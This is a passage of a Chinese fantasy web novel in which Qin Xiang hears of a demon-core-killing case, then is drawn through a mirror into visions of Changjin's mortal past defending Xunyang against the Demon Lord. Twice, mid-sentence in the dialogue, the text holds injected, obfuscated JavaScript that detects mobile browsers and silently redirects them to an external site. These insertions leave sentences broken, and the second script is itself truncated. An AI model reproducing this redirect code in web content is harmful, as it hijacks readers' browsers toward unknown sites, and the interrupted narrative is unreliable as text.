可就是这样一位一心以拯救天下苍生为己任的热忱肆意的少年郎,在十年前,却暴露出了他的本性,从此,神明成了人人鄙夷的对象。 当年,妖族五大族族长联合向修仙界上书抗议,说妖界发生了多起妖怪失踪案,而后来被找到的妖怪无一不是被杀取丹,死状凄惨,在死亡的妖怪体内还发现了修士残留的法术痕迹,经过众派联合一对比,竟然发现这残留的法术痕迹来自于六大门派之首的清虚门。 于是清虚门顿时遭到了众派的质疑,妖族也叫嚷着要他们给个说法,天下没有不透风的墙,而江暮行就是这个情况之下暴露的。为了自证清白,也为了找到凶手,在其他众派的见证之下,掌门齐怀仁对比了门下所有弟子的灵力之气,最终,那股幽幽的蓝色光华,指向了它该指的方向。 看着这个结果,在场的所有人都沉默了,良久,人群中才爆发了一句:“知人知面不知心,原来清虚门中竟有此等十恶不赦之徒,什么天之骄子,什么天赋异禀,都是假的,交出江暮行!”有一个人开口,就有一群人开口,渐渐地,人群中,越来越多修士嚷着叫着让齐怀仁交出江暮行,给所有人一个交代。 可当时江暮行并不在门派内,那时清虚门附近村落闹了邪祟,而他恰好前日赶往了那个村落镇压,至今未归。 齐怀仁不堪压力,只能派遣门下弟子前往找寻。派去寻找的弟子将那个地方翻遍了都没有找到江暮行的身影,只有满村的已经凉透了的百姓尸体和大妖尸体。 这件事在修仙界中掀起了轩然大波,有人说江暮行就是畏罪潜逃,逃了还不够,还残忍地杀害了所有的百姓,简直就是罪不容诛。 于是修仙界中的各路江湖义士,英雄豪杰顿时正义凛然,自发地组成了浩浩汤汤的正义之军,开始在修仙界掘地三尺地找寻讨伐江暮行。 功夫不负有心人,在三个月零七天之后,江暮行的尸体终于在一座深山老林里被众人发现,而江暮行死后,那所谓的杀妖取丹案件便再也没有发生过了。 乔玉洲此时又提起这件事,让秦湘心里不禁又是一阵唏嘘。江暮行少年风光无限的时候,她都还没有出生,而十年前发生那件事之时,她也才七岁。虽然不知这其中的弯弯绕绕,但她心里却莫名总觉得,江暮行,应当是个好人,是一个意气风发的剑客才对。 秦湘一声叹息,半晌,才道:“这件事发生在十年前,而且随着江暮行的死亡便已经告一段落了,我问你的是三花为何会受伤来到人间?这两件事之间有什么关系吗?” “有,”乔玉洲对上她的眼睛,一字一句道,“三花受伤就是因为妖族又出现了妖怪被杀内丹被取修为被夺之事。” “什么?!”秦湘一震,不可置信地看向他,“怎会如此,江暮行不是死了吗?难道修仙界内还有人在修炼此等禁术?!” 正如之前所言,妖怪可以通过吸食人类的精元而提高修为,而人,也可以通过夺取妖怪的内丹来增加自己的修为,此路虽然快捷,但妖法霸道强悍,并不容易与人相融合,所以通过此种方式来快速提高自己的修为也极容易走火入魔堕落邪道。 “不知道,”乔玉洲摇了摇头,叹道,“三花是妖族五族之一猫族族下圣女,她与那人交过手,但是并没有看清那人容貌,所以她才会来到人间,既是为了调查此事,也是为了找寻那些失踪的妖怪。” “原来如此,”秦湘了然地点了点头,“那她可有找到那些妖怪的线索?” “暂时没有,所以也只能慢慢找了。” “也只能如此了。”秦湘的目光落在了乔玉洲怀中的三花身上,顿了顿,又复而落在了面前江面之上,水波阵阵,在明媚的阳光下散发着金光熠熠,她怔怔地看了会,不再多言。 回到腾岳之巅时,已是傍晚。 长锦有事先行回了西院,乔玉洲要去拜见秦叙,而秦湘也要去清心殿向爹爹汇报上禀委派任务的完成度和各种情况经过,然后再记录在册,于是一拍即合,两人便又结伴而行一同向着清心殿走去。 推开清心殿的门,秦叙在,周楚闵也在。秦湘快步走上前去,连忙道:“爹爹好,师兄好,我回来啦!” 殿里埋头忙活的两人这才抬头看见了走进来的秦湘和乔玉洲,秦叙放下手中的宗卷,抬起头看着面前的秦湘,惊愕道:“阿湘?你回来了?玉溪城的委派任务完成得可还顺利,席清长老呢?” “顺利顺利,一切顺利,有神君在,一切安好,不过神君他有事先回西院了,”秦湘笑着,“我来复述事情经过也是一样的。” 秦叙点点头,“也是,有席清长老在,我有什么可不放心的,哈哈哈哈。” 跟在后边进来的乔玉洲见两人说完了,这才规规矩矩上前地抱拳行了一礼,“伯父好。” 秦叙闻声抬起脸来看向秦湘身后,乔玉洲站在那,身姿挺拔,眼角含笑。他也一笑,走了过来,拍了拍乔玉洲的肩膀,“哎呀,这不是玉洲嘛?半年没见到你了,今日怎么想着来腾岳之巅玩了,你父亲可好?” “父亲一切都好,阁中新淬炼了一批丹药和灵力石,父亲本来想差人送来腾岳之巅的,我左右无事,想着也很久没来探望过伯父了,”乔玉洲说着,将腰间系着的收纳锦囊取下双手奉上,“所以索性就替父亲走这一趟,也替父亲来向伯父问好。” “好啊,好啊,几月不见,玉洲好像又长高了些,”秦叙笑道,“既然来了,今日天色也不早了,不如在腾岳之巅多住几日,也好和阿湘楚闵他们好好切磋切磋交流交流。” 乔玉洲闻言,朝一旁凑在案牍旁整理卷宗的秦湘周楚闵投去两眼,正巧听见那话的秦湘也抬头朝他瞥来,想来两人应该是不约而同地想到了某些画面,在长辈面前又不好发作,于是两人又心照不宣地将眼挪开。 乔玉洲抱拳道:“既然伯父如此说,那我就恭敬不如从命了。” 殿内的话题聊到后头又扯到了四个月之后的群英论剑大会上,听着秦叙与乔玉洲一个夸奖一个谦虚,一整个就是场面客套你推我往的,秦湘和周楚闵在一旁偶尔还要担任捧哏角色,在记录完程府捉鬼案的事情经过之后,两人宛如解放了般,朝着另外还在客套的两人打了个招呼,便逃也似地走了。 两人走出清心殿,秦湘想起方才殿内的那些人情世故的客套话,不禁抖落一身的鸡皮疙瘩,“太恐怖了,这就是所谓的客套吗?乔玉洲怎么这么会讲啊,简直对答如流,师兄,你看见没,方才我爹都被他说得喜笑颜开,那嘴角上扬的弧度,比那会儿他看见我笑得还要开心。” “哈哈哈哈哈,”周楚闵也笑道,“是啊是啊,怪不得之前那么多女修被他哄得心花怒放,不是没有原因的,他是真的强,这种场景换做我,我可没有这么多话来讲,哈哈哈哈哈。” “是的是的,”秦湘表示肯定地点点头,“我也是。” 两人又就这个话题狠狠地吐槽了几遍,才相约着去医疗阁内叫上沈清桐一道去云隆堂吃晚饭。医疗阁内终日药香袅袅,腾岳之巅内学药修的弟子又少,所以很多事情人手不够,都是沈清桐亲力亲为,两人走进医疗阁里的时候,沈清桐还伏在案桌上撰抄药名,秦湘走了进去,人还没见到便先欢欢喜喜地唤了一声:“清桐姐姐!” 沈清桐停下手中的笔,抬起眼,看见秦湘和周楚闵从屏风后面走出,她眼睛一亮,惊道:“阿湘?!你回来了?玉溪城这一趟可还顺利?可有受伤?” “没有没有,我很好,让清桐姐姐挂心啦!”秦湘走了过去,在沈清桐身边坐下,亲昵地挽着她的手臂蹭了蹭,看着面前娟秀的字迹,轻声道,“清桐姐姐你在干什么呀?还在撰抄药名吗?” “是啊,快抄完了,”沈清桐叹了口气,声音温柔,“你们怎么来了?可吃过晚饭了?” “还没有呢,”周楚闵道,“这不刚好,阿湘三天没见到你了,可想你了,所以我们就过来找你,等你忙完再一起去云隆堂吃饭。” 沈清桐闻言笑了笑,将手中的笔搁下,然后准备起身:“那就走吧,也不早了,还剩下一些等下我回来再抄也行,师父没这么急着要,明天给她也是一样的。” 三人一路来到云隆堂,看着云隆堂内零零散散坐着的几个弟子,他们都已经习惯了,谁叫他们每次都不是按时按点来这里吃饭的。 熟门熟路地拿着托盘到橱窗处打好饭菜后,几人寻了个角落点的位置,边吃边聊。 秦湘夹了一口饭送入嘴中,她忽然想起那魔气的事情,于是咽下了口中的米饭之后朝着对面的周楚闵开口道:“师兄,我这次去玉溪城的那个委派任务,这其中果然有那幕后之人的手笔,那人会用魔气控制人的心智,然后吞噬人的良知,把人彻底变成一个魔气的载体,而且吸收了魔气之后的妖体邪祟功力大增,会释放出一种磁场压力,就形成一个类似于结界的空间,在那个空间里面,我们的灵力会被压制,时间一长,可能还会失效。” “说来也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876537|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇怪,你说的这种状况,我倒是没听其他门派的人说过,”周楚闵眯了眯眼睛,想了想,“这几年发生这么多起邪祟杀人事件,也就只有你遇到了这种情况。” “不,师兄,不是他们没遇到,而是遇到了的都死了,活着的人自然不知道。”秦湘神情一肃然,目不转睛地盯着他,在秦湘明亮的目光中,他顿了顿,才后知后觉地反应了过来。 是了,常人感受不到魔气,自然不会往那方面想,就算遇到了,因为感受不到,往往都要等被压制在那个所谓的结界空间之中,灵力尽失的时候,才会猛然翻醒,自己遇到的,不是一般的邪祟,可是这时却已经为时已晚了,失去了灵力的他们就如同失去爪牙的豺狼,等待他们的,只有死亡。 而秦湘这次这么顺利且安全地完成了玉溪城的委派任务,不仅是因为宋允棠的良知还未被完全侵蚀,还是因为有长锦在身边,所以才能发现这一华点,并发现那幕后之人这几年使的这些手段。 “目前也只能这样防范于未然了,所以师兄你在山下的那些锄祟委派任务中一定要多加小心,若有不对劲的地方,一定不要强撑,打不赢就赶紧跑,身上要常备一些什么瞬移符啊,烟雾符之类的东西,人生在世,活着才是最重要的,逃跑不丢脸。” 本来听着前半段还眉宇紧蹙的周楚闵听到后半段,实在没忍住,噗地一声笑出声来,看着秦湘和沈清桐一本正经神情严肃地看向他,他连忙摆手道:“不好意思,阿湘你用这么一本正经的语气来讲出这么具有喜感的画面,让我一时没忍住,有点好笑……” “师兄,”秦湘朝他投去一个幽怨的眼神,“我在很认真地担心你,你怎么可以说我好笑呢。” “对不起,阿湘,”周楚闵扶额苦笑,“我也不想,但是我忍不住,你自己想一下那个画面感。” 秦湘看着他,在脑中想象了一番周楚闵背着一把长剑,然后不断地从锦囊之中掏出各种各样的符咒,边跑边甩,在他身后,又是爆炸又是烟雾的,那个画面,确实又狼狈又有点好笑。 她也没忍住,笑了两下,又轻咳一声,朝他挥挥手正色道:“好了好了,我也就是这么一说,不要带入自己进这个场景,我说的是万一,万一,如果可以,我希望师兄你永远也不要遇到这个场景,你要平平安安地,陪在我和清桐姐姐身边。” 话茬一下子变得郑重且抒情起来,坐在秦湘对面的沈清桐和周楚闵皆是一愣,抬眼看着面前人眼中的严肃和认真,沈清桐喃喃道:“阿湘……” 周楚闵摸摸鼻子,为秦湘和沈清桐碗里各夹了一夹菜,笑道:“阿湘,我知道,你是担心我,放心吧,我可是很惜命的人,人间这么好,还有你们陪在我身边,我怎么舍得死呢,好了好了,吃饭吧,吃饭吧。” 从云隆堂离开后,沈清桐要回医疗阁接着抄录没抄完的药名,周楚闵晚上没事做,自然是要陪着她的。秦湘不愿意打扰人家小情侣腻歪,而且从回来之后她就没见过长锦了,想来他应该也还没用过晚饭,于是便准备提着食盒去西院找长锦。 三人在云隆堂门口道别,秦湘刚转过身准备离去,身后就听见沈清桐唤住她的声音:“阿湘,等一下。” 秦湘闻声回头,“清桐姐姐,怎么了?还有什么事吗?” “这个你带上,是师父让我给你的,你转交给席清长老吧。”沈清桐从暗襟之中摸出一个小瓷瓶,递给秦湘。 “这是什么?”秦湘拿到眼前看了看,看着熟悉的瓶身,她回想了想,好像半月之前因为担心长锦那一回,后来从西院离开之后她就去找过鸿瑛长老,让她帮忙调配过那种安神助眠的药丸,想到这茬,她不确定地问道,“安神丸?” “是的,”沈清桐点了点头,“师父说上次给你配的份量是半月份的,应该快吃完了吧,这次是新研制的,药效应该比之前的要更好些。” “嗯,好的,我知道啦,替我谢谢鸿瑛长老,下次去双灵阁我一定找乔玉洲多要些什么珍稀丹药回来给她研究。” 鸿瑛长老是出了名的爱研究这些药理东西,双灵阁作为修仙界内数一数二的药修大宗,其门下自然有数不尽的珍稀丹药,作为一个爱药理爱到痴狂的人,鸿瑛长老几乎每月都会往双灵阁跑一趟。 所以听到秦湘这么说,沈清桐也是一笑:“阿湘果然懂师父,师父要听见你的这句话,还不知道会高兴成什么样。” 秦湘收了瓷瓶,又笑闹了两句,和两人挥挥手道别,看着两人转身消失在拐角处,才收回目光,转身踏着月光,抱着食盒晃晃悠悠地朝着西院走去。 35.妖魔幻境 轻车熟路地进了小院,推开西院的门扉,房间内,却没有看见长锦的身影。 “神君?”试探性地喊了两声,却还是没有任何动静。房间内,万籁俱寂,只有月光透过轩窗静静地散落在了房间里。 “咦?去哪里了?连灯也不掌……”秦湘一边自言自语,一边借着月色走进了房间,将手中的食盒放在桌上,又摸出一旁的打火石将灯点上。 灯亮了,秦湘站在案牍前,她眯了眯眼,等眼睛适应了这光亮之后才转过头将这小小的房间打量了一遍。忽然,眼睛一闪而过了某个事物,她愣了愣,连忙将视线转了回来,定睛一看,在她面前的案牍之上,摆放着一朵小小的状若风铃的骷髅花,是宋允棠的那一朵,在花的旁边,还有一面花纹繁琐,样式古怪的圆形铜镜。 铜镜只有巴掌大小,在秦湘发现它之后,镜面上开始不断地闪烁着红色的光华。秦湘一愣,虽然大脑本能告诉她危险,不能过去,但在这一刻,身体却又仿佛被什么控制了般,她呆呆的,双目无神,由着自己一步一步地朝着那块铜镜走去,手指缓缓探出,然后轻轻地抚上镜面…… 随着秦湘指尖轻触上镜面,那镜子散发的红色光华愈盛,秦湘被那光华刺得一怔,猛然惊醒了过来,看着眼前奇怪的景象,她几欲转身离开,可是已经来不及了,还不等她惊呼一声,下一秒,她便被那镜子所产生的巨大吸力一把拖了进去。 光华渐渐淡去,一切归于平静,西院的房间内,仿佛什么都没有发生。 秦湘只觉得自己好像是被吸进了一个无底的漩涡,身体悬空,头昏眼花,眼前是一片黑,她能感觉到自己在不断地下降、下降……不知过了多久,脚底才像是踩在了实物上,秦湘悠悠地睁开双眼,在她面前,西院的景象已经完全消失了,取而代之的是一片无边无际的黑…… 秦湘愣在原地,心中悚然。 幻境?!看着面前的伸手不见五指的黑,秦湘脑中倏而闪过这两个字,她突然想起当时在玉溪城进入那棵骷髅巨树里看到的宋允棠的记忆幻境的场景,方才那骷髅花就和一枚铜镜摆放在一起,而她看见那镜子的时候就感觉像是被什么控制了心神一般,然后情不自禁地走上前去触碰了它,然后就被拖入了这镜子之中…… 难道是魔主?!这镜子是妖魔镜?魔主也被封印在妖魔镜中,是他感受到骷髅花上残留的魔气所以找到了这里?!那长锦神君去哪里了?!难道也被吸入这幻境之中了?! 一个接一个的疑问让秦湘心中大骇,她连忙闭眼,双手在胸前结印,调动了个法咒,感受到身体内的灵力还在不断地流动着,她才松下一口气来,灵力还在,说明这里并没有魔气。 想到这,秦湘闭了闭眼,等心中的惊骇慢慢地平复下来了,她才睁开眼,深吸一口气,抬起脚,在这无边无际的黑暗之中盲走着。 不知在这黑暗之中走了多久,秦湘渐渐地感受到了一阵一阵的焦躁开始袭上心头。眼前是不辨五指的黑,在这黑暗里,她感受不到时间的流动,也感觉不到生命的气息,有的只是无穷无尽包裹席卷着她的压抑与不安。 她往前走着,不停地往前走着……忽然,她看见了前方不远处有一点微弱的白光在不停地闪烁着,像是黑暗中失去希望的人抬头看见一颗明亮的启明星一般,秦湘心中大喜,连忙朝着那个地方奔去。 白光在她眼前越来越亮,几乎让人不能直视,秦湘眯着眼睛,心中暗暗一定,下一秒,便毫不犹豫地扎进了那片浩大的白光之中。 她大口大口地喘息着,在黑暗中待久了,眼睛还不能适应这么强烈的光线。秦湘抬起手掌,遮住眼睛,良久,感受到眼前的强光渐渐散弱下去了,一阵凉风拂面,秦湘慢慢地睁开了眼睛。 尽管心中已经做好了十足的准备了,但当秦湘看着面前的景象之时,还是不由得被狠狠地惊呆住了。 在她面前,不管是那无尽的黑暗还是刺眼的白光,统统都消失得无影无踪,映入眼帘的,是一大片华丽精雅的宫宇角楼,而她就站在其中一座高大宏伟的宫殿门前。 秦湘看着面前的场景,微微长大了嘴巴。她见过许许多多风格的建筑,可面前这些宏伟华丽的建筑,却不像是现在盛行的风格,细细辨认一番,倒像是她在古书卷轴上见过的几百年前甚至是几千年前的屋子的风格。 这个认知答案着实让秦湘惊住了,她站在那,头皮发麻,背脊发凉。 那铜镜控制住她的心神,就为了将她送入这样一个不知是几百年前还是几千年前的幻境之中?它动机何在?目的又何在?毕竟走到现在,秦湘还未曾感受到任何危险的气息传来。 秦湘蓦地闭上眼睛,定了定心神。良久,她深吸了一口气,望着远处的宫殿森然,抬脚向着那边走去,走了一圈,空无一人,无甚发现,秦湘又回到了她一开始睁眼看见面前景象的地方。 才刚走到那院门,还未踏进,忽然,秦湘眼前一晃,一个人影好像出现在了她面前。 她心中猛然一惊,连忙奔向前去,并不是她看错了,在她面前,真的有一个人,是长锦!秦湘心中大喜,连忙喊道:“神君!” 可站在她面前的长锦仿佛听不见任何声音也看不见她似的,他站在那,皱着眉头,目光冰冷地看着她,又像是越过她看向她身后的另一个事物。 脑中仿佛有一根弦崩断的声音,她的脚步生生地顿在了原地。看着面前的长锦,秦湘眼睛睁得滚圆,半晌,她终于发现了不对劲的地方—— 虽然他的样子是长锦,但是面前这个长锦却决计不是她认识的那个长锦。她认识的长锦是个二十多岁的年轻男人,气质寡淡从容,无论遇见什么,永远都是一副无波无澜的神情。 可现在站在她面前的却是个十七八岁的青年长锦,他一袭白色衣袍,绾着发,神情焦急且愤怒,站在秦湘面前,似乎在等着什么人。 “父亲!”良久,秦湘终于听见了前面的长锦开口了。 父亲?!听到这个称呼,秦湘只觉得全身的血液都沸腾了,她能感受到自己的一颗心脏在剧烈地跳动着,仿佛下一秒就要跳出胸腔,她愣怔着,下意识地顺着长锦的视线转身回头向着身后望去。而在她身后,不知从而时起,又多了一个人影,那人一袭金丝锦衣,四十多岁的年纪,仔细看看,眉眼之间,确实还有几分和长锦的相似。 他站在秦湘面前,身后还跟着两个提着灯秀丽端庄的侍女和六个金衣铠甲佩刀的侍卫。 这是长锦神君的父亲?!秦湘愣愣地看着,难道这是三千年前的洵阳?! 秦湘全身发抖,心绪如麻。她还有点搞不清楚状况,只能惊愕站在原地,看着长锦压制着满脸怒气,朝她大步走来。 秦湘呼吸一滞,她死死地盯着面前朝她走来的人,看着他离她越来越近,越来越近,然后——他径直地从她的身体之中穿行了过去。 秦湘愣了片刻,回过头,看着长锦朝着那边站着的那个男人走去,他走到他身边,一双凤眼在月色之下显得格外坚定,他挡在男人面前,微屈身子咬牙道:“父亲!” “你想干什么!”男人皱着眉头盯着他,语气中尽是不耐。 “父亲!如今厄运之门大开,魔主率领群魔降临人间,洵阳城中的百姓此时需要的是庇护,”长锦说着,跪了下来,字字铿锵,“我恳请父亲,停止活人祭祀的仪式,不要再献祭百姓给魔主了!” “放肆!”男人声音低沉,已然动怒,“你算是个什么东西,也敢来管我的事,魔主生性残忍嗜血,天下早已四分五裂,乌烟瘴气,人人自危!” “而今魔主带领群魔来到洵阳,魔主喜好用人命玩乐,要不是为了取悦他,从而保护更多的人,你以为我就想献祭城中百姓给他吗?!你以为我就愿意做这等极端残忍的事情吗?!” 男人越说越怒,他瞪着面前的儿子,高声怒喝道:“倾巢之下无完卵,人间早已尸横遍野,如果不献祭,洵阳举城上下都将见不到明日的太阳,这些,又是你想看到的吗?!” “我不知道!我只知道,父亲你为了保全自己的性命,献祭其他无辜的百姓,这样的做法,又与妖魔有何异!”长锦跪在那里,背脊挺直,又是悲凉又是愤怒,他盯着面前的男人,亦是箭在弦上,眸中的火光像是要夺眶而出,“你以为你每日献祭自己的子民给魔主你就能高枕无忧了吗?!你以为你这样巴结讨好魔主就会放过你放过城中百姓吗?!痴心妄想!!你这样,根本不是在保护他们,你这样,只会让城中的将士和百姓心寒,看不到未来的希望!!” “逆子!”男人目眦尽裂,惊怒滔天,他一脚猛地踹向面前端正跪着的长锦,身后侍女侍卫见此情形也旋即色变,猛然跪下,脑袋磕地,身体发抖,惊恐道:“城主息怒。” 三千年前的长锦只是一介凡人,且身体孱弱,这一脚又是在盛怒之下踹出的,其中的力度不言而喻,长锦当场便被踹倒在地,唇角见血。秦湘心中一惊,下意识地便想去扶他,可看着自己的双手在他身体之中变成虚影穿行而过,她才猛然幡醒过来,这是三千年前发生的事情了,是幻境,她什么也该改变不了。 秦湘抿着嘴,手指僵在半空中,心中仿佛被什么堵住了,压抑至极。 在她面前,长锦抬手擦了擦唇角的血迹,颤巍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她平静地看着面前的人,看似柔弱却挺如松柏,声音清淡却不容置喙:“放开他。” 场面一时僵住,侍从们看着来人,怔了怔,抓住长锦的手一时松也不是,不松也不是:“夫人,城主他……少主他……” 女人也不说话,就这么站着,目光冷冷地看着面前那个暴怒的男人。男人站在那头,侍卫侍女纷纷散至两边跪落磕首,寒风中只有两人就这么对立而望,谁也没有让步,谁也没有低头,空气中硝烟味愈发地浓厚。 良久,男人终于还是先退了一步,手指在空中微动,声音压着显而易见的怒气,“这次就放过这个逆子,你最好管好你的儿子,再有下次,不会这么好过!” 男人走了,空荡的庭院之中,只剩下如虚影的秦湘,还有站在庭院一前一后相对而立的两人。 长锦捂着胸口,嘴唇动了动,下一秒,身子摇摇欲坠,猛地朝旁边吐出一口鲜血来!女人方才的镇定与平静瞬间消失殆尽,她眼瞳紧缩,奔向前去,惊呼出声:“锦儿!!” 那一脚最终还是伤到了他的根基,长锦单膝跪地,捂着心口,女人奔至他身边,眼泪不住地流了下来,手指颤抖,语无伦次:“锦儿……” 长锦皱着眉头,平息了一下,才伸手要为她轻轻擦去脸上的泪,可是那眼泪就如断了线的珠子,怎么擦也擦不完,长锦无奈朝她笑笑,温声道:“母亲,别哭了,孩儿没事。” 一阵温柔抚慰下来,女人才慢慢止住了眼泪,肩膀因为抽噎还在轻轻地抖动着,她抬眼看向他,半晌,轻声道:“你不该那么说你父亲的。” “母亲?”闻言,长锦眼中似乎也有一丝的不解,一双凤目微微睁大。 女人一双柳叶眉轻轻蹙起,对上他的眼,她道:“我只是担心你,你这样只会让你父亲动怒。” “可是,他的做法还配是一个父亲,一个城主吗?”长锦目光悠长,不知道看向了何方,“母亲,你可知今日被送去献祭的是一个只有四岁的孩童,我看着衣衫褴褛的父母在地上跪着,哭着,嘶吼着,可是无论他们怎么求着,都没有办法挽救回自己的孩子,只能眼睁睁地看着他被带出城门,看着他被扔在了祭祀台上,看着他被那群妖魔慢慢地围堵起来,最后,血溅当场。” “母亲,他们不该是这样的结局,”长锦说着,两行清泪滑落,那是连他自己也没有注意到的,“您曾说过,身居高位更应该要知道民生之疾苦,作为一城之主,我们食民之禄,就应该担民之忧,又怎么可以在危难之际将手无寸铁的百姓扔出城去?!这样,又与禽兽何异?!与妖魔何异?!” 36.三千光阴 长锦愈说越急,声音也提高了几分。看着面前眼角还带着泪,缄口不言只是微蹙着眉望着他的城主夫人,他一愣,顿了顿,一声叹息,手掌轻轻扶住她,语气放轻:“所以,母亲,你可明白儿的心情?” 女人默默地看着他,长锦说的她又何尝不知?何尝看不见?可是,又有什么办法呢?不管她再怎么不想承认,那男人说的都是事实,如今魔主降世,人人自危,朝不保夕,洵阳现下都算是在苟延残喘之中度日,而等那群杀人饮血的妖魔玩腻了这捕猎般的游戏,到那时,洵阳又是何命运?她不想去想,也不敢去想。 良久,她才转了转眸子,慢慢地开口,声音悲凉且无奈,“可是,妖魔肆虐,人命如蝼蚁,我们还能怎么办呢?又能怎么办呢?” “风起于青萍之末,”长锦语气轻轻,却字字铿将有力,“书卷记载万年前少微上神封印妖魔于厄运之门,如今沧海桑田,万年已过,这一次,如果没有少微上神这样的神明降世,那我就成为挺身而出的凡人,我相信,有黑暗的地方就一定会有光,光影相照。” “母亲,魔主力量本就来源于世间邪念与恶念,如果我们没有反抗他的意识,就这样一直被他牵着鼻子走,一直活在他的阴影之下,对他俯首称臣,那他的力量只会越来越强。眼前的安定只是一时的安定,如果所有人都没有反抗的心理,甘愿就这样,那未来,就一定是一片黑暗。横竖都是死,我不想再看着洵阳城的百姓每天经历这种眼睁睁看着亲人被折磨致死的画面了。” “可是你只有你自己,你一个人又能干什么呢?” “不是的,不止是我,”长锦摇摇头,眼中跃着光芒,在黑暗之中显得如此明亮,他道,“母亲,不止有我,还有城中的将士,还有城中的百姓,他们都是这样想的,我不是一个人,他们都站在我身后。” 寒风肆意地吹着,长锦的发丝在空中纷纷扬扬,女人静静地看着他,突然觉得这张脸在这时看得是如此的不真切,不知过了多久,她才眨了眨酸涩的眼睛,愣了愣,扶着长锦站起身来,轻声道:“先不说这个了,你受伤了,我带你去找医师。” 闻言,长锦一怔,半晌,才道:“好。” 两个身影相持着远去,秦湘站在原地,看着他们在她面前慢慢地变得模糊,然后消失不见。 与此同来的是秦湘面前的场景也跟着一起消失不见,秦湘站在一开始的无边无际的黑暗之中,这次不同的是,在她面前,不再只有一个白点光亮,而是有着四个白点光亮,而其中的一个在秦湘出现在这片漆黑之中之时,便开始慢慢变得暗淡,然后彻底融入黑暗。 看来一共是四个幻境,而秦湘进去了其中一个,所以它消失了。看着面前围绕着她的剩下三个白色亮点,秦湘顿了顿,然后抬脚,踏入了下一个光芒之中。 熟悉的刺目感传来,秦湘眯了眯眼睛,当光芒彻底消失在她身后之时,她睁开双眼,展开在她面前的不再是那华丽精美的宫宇角楼,而是城楼高墙。 乌云密布,瘴气四溢,人间不见天日。 秦湘站在城楼上方,看着站在她面前身披铠甲的长锦,一时愣怔,那是她从来没见过的他的模样。 城楼上方,长锦一袭轻铠,容颜染血,长发束成一个高马尾,被风吹得纷乱,他手提轻剑,俯瞰下方,在城墙之外,一座巨大的青石祭祀台矗立在那。顺着他的视线而去,秦湘看见了那石阶上喷洒的已经干涸发黑的血迹,斑斑可见,触目惊心。 秦湘愣愣地看着面前的人,而面前的人也在望着那处出神,眉宇紧蹙,不知在想什么。 “少主!”几道声音从身后传来,长锦回了回神,转身,在他身后,是几名满脸血污的将士。他看向他们,吸了一口气,藏起了眼底的情绪,扯出一个故作轻松的笑来,“你们来了。” 几名将士相互对视了几眼,顿了顿,然后在长锦面前猛然跪下:“请少主三思,莫要听信那魔头之言扰乱你心,我等愿誓死追随少主,直到与妖魔战至最后一刻!” 魔主降世,妖魔肆虐。自从一月前洵阳城城主携细软带着侍妾于星夜逃走之后,洵阳城陷入了一时的沉重慌乱之中,百姓议论纷纷,城主弃城而逃,城内一团散沙,惊恐的氛围开始扩散。 在这种人人等死看不到前路希望的情况之下,一个身披铠甲手持长剑的年轻身影出现了,他站在城门之上,举剑高呼,振奋人心。在长锦的激励坐镇下,民众与将士们的士气被鼓舞了,越来越多的民众开始觉醒起来,誓死不屈从于黑暗之下,他们自发地加入了长锦保卫洵阳的行列,他们跟随着他们这位年轻的少主,穿上甲衣,拿起刀剑与斧头,决心于妖魔战至最后一刻。 就算是以卵击石,蚍蜉撼树,他们也无所畏惧。所有人心中,只有一个念头,那就是绝对不能对妖魔俯首称臣,他们不会再为魔头献祭任何一个活人百姓了,他们要凭自己的力量,守护自己的家! 魔主对于他们这样的变化也是惊讶,但是更多的是不屑。他认为,人之初,性本恶,在这个世界上恶注定是大于善的,正是因为这样,他才能由此而生,延续万年且不会消亡。 长锦的行为在他眼里,是如此可笑,他就像是个猎人,手握生杀大权,却不立马要了他们的命,他微笑着看着他们负隅顽抗,他想看看人在生死存亡之际,一边是自己的命,一边是别人的命,这个选择,他们到底会如何选? 所以,在今天,在照常的放出妖魔攻城,看着面对着来势汹汹满地的妖魔,长锦与他的军士虽被打得毫无还手之力,却还死死坚守着那道最后的防线时,魔主嗤笑一声,召回了所有的妖魔。 他的声音响彻整个洵阳:明日,他将大举进攻洵阳,他给所有人两个选择,要么,将长锦送到祭祀台上,用他的命来表达洵阳所有人对他的臣服,要么,他将血洗洵阳。 城墙之下,尸山血海,在铺天盖地的血腥之气中,长锦带着残剩的洵阳军士站在城门门口,魔主带着妖魔已然离去,可他的声音却如兀鹫般盘绕在了洵阳城中每个人的心里。 而如今,长锦看着跪在他面前的几人,顿了顿,心情复杂,还不等他说话,城楼之下突然传来一阵震天的呼声,一开始,只有几个人,后来,声音越来越大,是几千人,几万人,到最后,几乎是整个洵阳城城中的所有军民,他们站在城墙下,看着城墙上他们年轻的少主,举剑高呼,吼声震天,直冲云霄!! “少主!!” “少主!!” “我等愿誓死追随少主,守护洵阳,与妖魔战至最后一刻!!” 长锦低头朝着城墙下看去,所见皆是黑压压的人头,他们有的全副武装,臂挽弓,手持剑;有的衣衫褴褛,手持柴刀斧头。虽然各有不同,但是在他们的眼神中,无一不闪烁着斗志昂扬的光芒。 长锦握着剑的手有些微微发抖,一向沉稳的他,此时也抑制不住在看到这一场景心中的激动。 士气,那是洵阳人民永不屈服于黑暗的决心!! 他站在墙头,朝着底下他的百姓,他的将士,深深地行了一礼,坚定道:“诸位的豪言壮语,长锦都记在心里了,这两日,我已经收到了几份来自于修仙门派掌门人寄回的书信,信中说他们愿意援助我们,且正在朝着洵阳赶来,这也证明着,我们的坚持是有意义的,我相信,会有越来越多的人站出来,与我们一起共抗妖魔,我以洵阳城少主的名义与你们歃誓,我会誓死与你们同在,只要洵阳还有一人在,妖魔就不能踏入我们的城门一步!” 